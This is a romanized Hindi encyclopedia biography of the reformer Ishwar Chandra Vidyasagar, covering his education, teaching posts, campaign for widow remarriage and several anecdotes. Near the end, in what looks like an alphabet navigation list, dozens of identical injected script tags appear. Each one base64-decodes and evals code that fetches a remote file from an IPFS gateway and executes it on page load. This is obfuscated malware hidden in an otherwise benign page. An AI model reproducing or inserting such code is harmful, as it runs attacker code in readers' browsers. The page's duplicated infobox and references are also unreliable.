ईश्वर चन्द्र विद्यासागर

	eeshvar chandr vidyasagar
	eeshvar chandr vidyasagar\|200px\|center
poora nam	eeshvar chandr vidyasagar
janm	26 sitambar, 1820
janm bhoomi	pashchim bangal
mrityu	29 julaee, 1891
mrityu sthan	kolakata
abhibhavak	thakuradas bandhopadhyay aur bhagavati devi
nagarikata	bharatiy
prasiddhi	svadhinata senani, shikshashastri aur samaj sudharak
vishesh yogadan	eeshvar chandr vidyasagar ke anavarat prachar ka hi natija tha ki 'vidhava punarvivah qanoon-1856' parit ho saka.
any janakari	apane varsh 1848 mean vaital panchavianshati namak bangala bhasha ki pratham gady rachana ka prakashan kiya tha.

eeshvar chandr vidyasagar (aangrezi: Ishwar Chandra Vidyasagar; janm- 26 sitambar, 1820, pashchim bangal; mrityu- 29 julaee, 1891, kolakata) bharat ke prasiddh samaj sudharak, shiksha shastri v svadhinata senani the. ve gariboan v dalitoan ke sanrakshak mane jate the. unhoanne stri-shiksha aur vidhava vivah par kafi zor diya. eeshvar chandr vidyasagar ne 'metropolitan vidyalay' sahit anek mahila vidyalayoan ki sthapana karavayi tatha varsh 1848 mean vaital panchavianshati namak bangala bhasha ki pratham gady rachana ka bhi prakashan kiya. naitik moolyoan ke sanrakshak aur shikshavid vidyasagar ji ka manana tha ki aangrezi aur sanskrit bhasha ke jnan ka samanvay karake hi bharatiy aur pashchaty paranparaoan ke shreshth ko hasil kiya ja sakata hai.

janm tatha shiksha

eeshvar chandr vidyasagar ka janm 26 sitambar, 1820 ko pashchimi medinipur zila, pashchim bangal mean ek nirdhan dharmik parivar mean hua tha. inake pita ka nam thakuradas bandhopadhyay tha aur mata bhagavati devi thian. inaka bachapan behad garibi mean vyatit hua tha. gaanv ke skool se hi prarambhik shiksha prapt karane ke bad chh: varsh ki ayu mean hi eeshvar chandr pita ke sath kalakatta (vartaman kolakata) a gaye the. vah koee bhi chiz bahut jaldi sikh jate the. utkrisht shaikshik pradarshan ke karan unhean vibhinn sansthanoan dvara kee chhatravrittiyaan pradan ki gee thian. ve uchchakoti ke vidvanh the. unaki vidvata ke karan hi unhean 'vidyasagar' ki upadhi di gee thi.^[1]

vyavasayik jivan ki shuruat

apane parivar ko arthik sahayata pradan karane ke uddeshy se hi eeshvar chandr vidyasagar ne adhyapan kary praranbh kiya. varsh 1839 mean eeshvar chandr ne saphalata poorvak apani qanoon ki padhaee sanpann ki. varsh 1841 mean matr ikkis varsh ki ayu mean unhoanne sanskrit ke shikshak ke taur par 'fort viliyam k aaulej' mean padhana shuroo kar diya. paanch sal bad 'fort viliyam k aaulej' chho dane ke pashchath eeshvar chandr vidyasagar 'sanskrit k aaulej' mean bataur sahayak sachiv niyukt hue. pahale hi varsh unhoanne shiksha padvati ko sudharane ke lie apani sipharishean prashasan ko saup dian. lekin unaki riport ne unake aur tatkalin k aaulej sachiv rasomay datta ke bich takarar utpann kar di, jisaki vajah se unhean k aaulej chho dana p da. lekin 1849 mean eeshvar chandr vidyasagar ko sahity ke profesar ke roop mean 'sanskrit k aaulej' se ek bar phir ju dana p da. isake bad 1851 mean vah is k aaulej ke pradhanachary niyukt kie ge, lekin rasomay datta ke atyadhik hastakshep ke karan eeshvar chandr vidyasagar ko 'sanskrit k aaulej' se tyagapatr dena p da, jisake bad vah pradhan lipik ke taur par dobara 'fort viliyam k aaulej' mean shamil hue.^[1]

samaj sudhar

apane samaj sudhar yogadan ke aantargat eeshvar chandr vidyasagar ne deshi bhasha^[2] aur l dakiyoan ki shiksha ke lie skooloan ki ek shrriankhala ke sath hi kalakatta mean 'metrop aaulitan k aaulej' ki sthapana bhi ki. unhoanne in skooloan ko chalane mean ane vale kharch ka bi da uthaya aur apani bangali mean likhi gee kitaboan, jinhean vishesh roop se skooli bachchoan ke lie hi likha gaya tha, ki bikri se phand arjit kiya. ye kitabean hamesha bachchoan ke lie mahattvapoorn rahian, jo shatabdi ya usase bhi adhik samay tak padhi jati rahian. jab vidyasagar ji kalakatta ke sanskrit k aaulej ke pradhanachary banaye ge, tab unhoanne k aaulej sabhi jati ke chhatroan ke lie khol diya. ye unake anavarat prachar ka hi natija tha ki 'vidhava punarvivah qanoon-1856' akhirakar parit ho saka. unhoanne ise apane jivan ki ek mahattvapoorn upalabdhi mana tha. vidyasagar ji ne apane ikalaute putr ka vivah bhi ek vidhava se hi kiya. unhoanne 'bahupatni pratha' aur 'bal vivah' ke khilaf bhi sangharsh chhe da.

prerak prasang

eeshvar chandr vidyasagar ki vinamrata evan sanskarashilata ki prashansa sarvatr hoti thi. yahi nahian deshabhakti ki bhavana bhi unamean atma ki gaharaee tak vidyaman thi. isi vajah se ve sabhi ki shraddha ke patr the. unase sambandhit kuchh prerak prasang is prakar haian-

bat un dinoan ki hai jab eeshvarachandr vidyasagar 'sanskrit k aaulej' ke achary the. ek bar vidyasagar ji kisi kary se 'presideant k aaulej' ke aangrez achary kair se milane ge. jab vidyasagar ji ne kair ke kamare mean pravesh kiya to unaka svagat karana to door, kair joote pahane mej par pair phailae baitha raha. eeshvar chandr vidyasagar ko ye sab b da apriy laga, kiantu ve chupachap is apaman ko sahan kar ge aur avashyak charcha kar vapas laut ae. is ghatana ke kuchh dinoan bad kisi kam se kair bhi vidyasagar ke k aaulej aya. unhean dekhakar vidyasagar ji ne chappaloan sahit apane pair uthakar mej par phaila lie aur aram se kursi par baithe rahe. unhoanne kair se baithane ke lie bhi nahian kaha. kair ne unake is vyavahar ki shikayat likhit roop se shiksha parishad ke sachiv d aau. muat se ki. tab d aau. muat kair ko lekar vidyasagar ke pas ge aur unase karan poochha. is par vidyasagar ji ne kaha- "ham bharatiy aangrezoan se hi yooropiy shishtachar sikhate haian. jab maian inase milane gaya tha to ye isi tarah baithe the. maianne ise yooropiy shishtachar samajha aur isaka anusaran kiya. inhean naraj karane ka mera koee irada nahian tha." kair ne sharmida hokar vidyasagar ji se kshama maangi.^[3]
ek bar eeshvar chandr vidyasagar ko ianglaiand mean ek sabha ki adhyakshata karani thi. unake bare mean yah mashahoor tha ki unaka pratyek kary gh di ki suee ke sath poorn hota hai arthath ve samay ke bahut paband the. ve logoan se bhi yahi apeksha rakhate the ki ve apana kary samay par karean. vidyasagar ji jab nishchit samay par sabha bhavan pahuanche to unhoanne dekha ki log sabha bhavan ke bahar ghoom rahe haian aur koee bhi aandar nahian baitha hai. jab unhoanne isaka karan poochha to unhean bataya gaya ki saphaee karmachariyoan ke n ane ke karan abhi bhavan ki saphaee nahian huee hai. yah sunate hi vidyasagar ji ne ek kshan bhi bina ganvae jha doo utha li aur saphaee kary prarambh kar diya. unhean aisa karate dekh upasthit logoan ne bhi kary shuroo kar diya. dekhate hi dekhate sabha bhavan ki saphaee ho gee aur sara farnichar yathasthan laga diya gaya. jab sabha aranbh huee to eeshvar chandr vidyasagar bole- "koee vyakti ho athava rashtr, use svavalanbi hona chahie. abhi ap logoan ne dekha ki ek-do vyaktiyoan ke n ane se ham sabhi pareshan ho rahe the. sanbhav hai ki un vyaktiyoan tak is kary ki soochana n pahuanchi ho ya phir kisi dikkat ke karan ve yahaan n pahuanch sake hoan. kya aisi dasha mean aj ka karyakram sthagit kar diya jata? yadi aisa hota to kitane vyaktiyoan ka aj ka shram aur samay vyarth ho jata. sar yah hai ki pratyek vyakti ko svavalanbi hona chahie aur vakt p dane par kisi bhi kary ko karane mean sankoch nahian karana chahie."^[4]
yah prasang british hukoomat se ju da hai. bangal mean nil ki kheti karane vale aangrezoan, jinhean 'nil sahab' ya 'nilahe sahab' bhi kaha jata tha, ke atyachar bahut badh gaye the. logoan ka jivananarakaban gaya tha. isi julm ke khilaf kahian-kahian avajean bhi uthane lagi thian. aisi hi ek avaj ko kalakatta rangamanch ke kuchh yuva kalakar bulandi ki or le jane ki koshish mean the. ye kalakar apane natakoan ke dvara aangrezoan ki barbarata ka manchan logoan ke bich kar virodh pradarshit karate rahate the. aise hi ek manchan ke dauran in yuvakoan ne eeshvar chandr vidyasagar ko bhi amantrit kiya. unaki upasthiti mean yuvakoan ne itana sajiv abhinay prastut kiya ki darshakoan ke roangate kh de ho gaye. visheshakar nilahe sahab ki bhoomika nibhane vale yuvak ne to apane charitr mean pran dal diye the. abhinay itana sajiv tha ki vidyasagar ji bhi apane par kaboo nahian rakh sake aur unhoanne apane pair se chappal nikal kar us abhineta par de mari. sara sadan bhauchakka rah gaya. us abhineta ne vidyasagar ji ke paanv pak d lie aur kaha ki mera jivan dhany ho gaya. is puraskar ne mere abhinay ko sarthak kar diya. apake is prahar ne nilahoan ke sath-sath hamari gulami par bhi prahar kiya hai. vidyasagar ji ne uth kar yuvak ko gale se laga liya. sare sadan ki aankhean ashrupoorit thian.^[5]

nidhan

apani sahanashilata, sadagi tatha deshabhakti ke lie prasiddh aur ek shikshashastri ke roop mean vishisht yogadan karane vale eeshvar chandr vidyasagar ka nidhan 29 julaee, 1891 ko kolakata mean hua. vidyasagar ji ne arthik sankatoan ka samana karate hue bhi apani uchch parivarik paramparaoan ko akshunn banae rakha tha. sankat ke samay mean bhi vah kabhi apane saty ke marg se nahian dige. unake jivan se ju de anek prerak prasang aj bhi yuva varg ko prerana pradan karate haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 nari utthan ke samarthak, eeshvar chandr vidyasagar (hindi). . abhigaman tithi: 21 faravari, 2013.
↑ varnakyular ejukeshan
↑ asabhyata se sabhyata sikhaee vidyasagar ji ne (hindi). . abhigaman tithi: 21 faravari, 2013.
↑ svavalamban ka path (hindi). . abhigaman tithi: 21 faravari, 2013.
↑ eeshvar chandr vidyasagar (hindi). . abhigaman tithi: 21 faravari, 2013.

bahari k diyaan

sanbandhit lekh

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[ab-1] 1.0 ^1.1 nari utthan ke samarthak, eeshvar chandr vidyasagar (hindi). . abhigaman tithi: 21 faravari, 2013.

[2] varnakyular ejukeshan

[3] sabhyata se sabhyata sikhaee vidyasagar ji ne (hindi). . abhigaman tithi: 21 faravari, 2013.

[4] svavalamban ka path (hindi). . abhigaman tithi: 21 faravari, 2013.

[5] shvar chandr vidyasagar (hindi). . abhigaman tithi: 21 faravari, 2013.

[1]

[2]

[3]

[4]

[5]

eeshvar chandr vidyasagar
eeshvar chandr vidyasagar\|200px\|center
poora nam	eeshvar chandr vidyasagar
janm	26 sitambar, 1820
janm bhoomi	pashchim bangal
mrityu	29 julaee, 1891
mrityu sthan	kolakata
abhibhavak	thakuradas bandhopadhyay aur bhagavati devi
nagarikata	bharatiy
prasiddhi	svadhinata senani, shikshashastri aur samaj sudharak
vishesh yogadan	eeshvar chandr vidyasagar ke anavarat prachar ka hi natija tha ki 'vidhava punarvivah qanoon-1856' parit ho saka.
any janakari	apane varsh 1848 mean vaital panchavianshati namak bangala bhasha ki pratham gady rachana ka prakashan kiya tha.